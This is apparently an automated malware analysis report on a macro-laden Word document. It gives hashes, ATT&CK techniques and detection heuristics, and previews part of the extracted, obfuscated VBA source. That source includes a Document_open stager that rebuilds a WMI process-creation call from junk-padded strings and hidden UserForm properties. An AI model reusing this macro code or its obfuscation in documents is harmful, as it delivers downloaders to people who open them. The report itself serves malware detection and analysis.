Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4b28789208c7831…

MALICIOUS

Office (OLE)

233.3 KB Created: 2020-08-24 06:07:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 0fc4dbf18235d7b454fb296abc6b7271 SHA-1: 55ed0e6e2665f01f45811f8408e91cb59ad1e09b SHA-256: a4b28789208c7831acde34417755e545821bdbc4bd495a69640f7ff457c9b0a6
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_open' macro triggers a hidden UserForm which acts as a command stager, indicated by the 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' heuristic. This mechanism is commonly used to download and execute further malicious payloads. The presence of VBA macros points to the T1059.005 (Visual Basic) technique, and the document itself implies T1566.001 (Spearphishing Attachment) as the likely initial access vector.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9472189-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9472189-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6533 bytes
SHA-256: d3400763886afa69adc8805043d1cdfd5b4c5f6f164b76e59346a4ea05ebdbea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Klmtippf3sofr8e7_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Wp35pqwk8ph.Ejvmmjluurap_
End Sub


Attribute VB_Name = "Wp35pqwk8ph"
Attribute VB_Base = "0{6D264697-1F49-4837-8438-46199E851C09}{4BE44061-5541-4A45-BDC6-D1AF3B738E7B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ejvmmjluurap_()
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
I256tohnbw4qu9ld4i = 100
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
F6ef8msrj95zeptn2_ = ChrW(I256tohnbw4qu9ld4i + (15))
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Vx1i9w_x8z9w4wruc = "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[i3%hs8( 8192&&&21gs [[]asd2[nm3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[gm3%hs8( 8192&&&21gs [[]asd2[t3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[" + F6ef8msrj95zeptn2_ + "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[:3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[in3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[33%hs8( 8192&&&21gs [[]asd2[23%hs8( 8192&&&21gs [[]asd2[_3%hs8( 8192&&&21gs [[]asd2[" + Wp35pqwk8ph.Kkyol7j6j_bn88 + "3%hs8( 8192&&&21gs [[]asd2[ro3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[ce3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2["
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Qcmwjbvfsokyrk = Utlpd3v7may(Vx1i9w_x8z9w4wruc)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Set X52r8hsx9gs = CreateObject(Qcmwjbvfsokyrk)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
H__9_ave3efc5 = Wp35pqwk8ph.B2svt9fmdxvo.ControlTipText
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
T7w__pybvq_p6v = Zp14fu9o5na2bi + (Qcmwjbvfsokyrk + F6ef8msrj95zeptn2_ + Wp35pqwk8ph.Yztwf1vzbwpj9clph.ControlTipText + H__9_ave3efc5)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
X_6_4ob6aenq = T7w__pybvq_p6v + Wp35pqwk8ph.Kkyol7j6j_bn88
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Set Hzg1r1vu06ahf9x8k = Naalszavwy9mk3xa(X_6_4ob6aenq)
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
Lq7729rl3b6t = Array(Cpglmjte4fdarmy7t + "H42dog2zuse Ulbflpgzp4zayl37jvLi9v1b_aavyzb_6n4 Ibjz6zrd1qcp6q0zz1", X52r8hsx9gs.Create(Mn0y4i3rb1ifk, Smdloge2dya40099u, Hzg1r1vu06ahf9x8k), Tojdwmu0v1i2mlf + "Bxi27s19op1yeq9 Le9lvx133qvptnm Qp8kz4zjzl1gw85f Slhn60q8q0p8load_")
      On Error Resume Next
   lMYh54 = (YbktGf7 / 1 - 919 * CSng(89 * Tan(vAqg0) * VEgJ2VN4C * 3929) * 6 - CBool(Lll / Rnd(rzqbwM4c)))
   Set WPYV57 = Wp35pqwk8ph
End Function
Function Naals
... (truncated)

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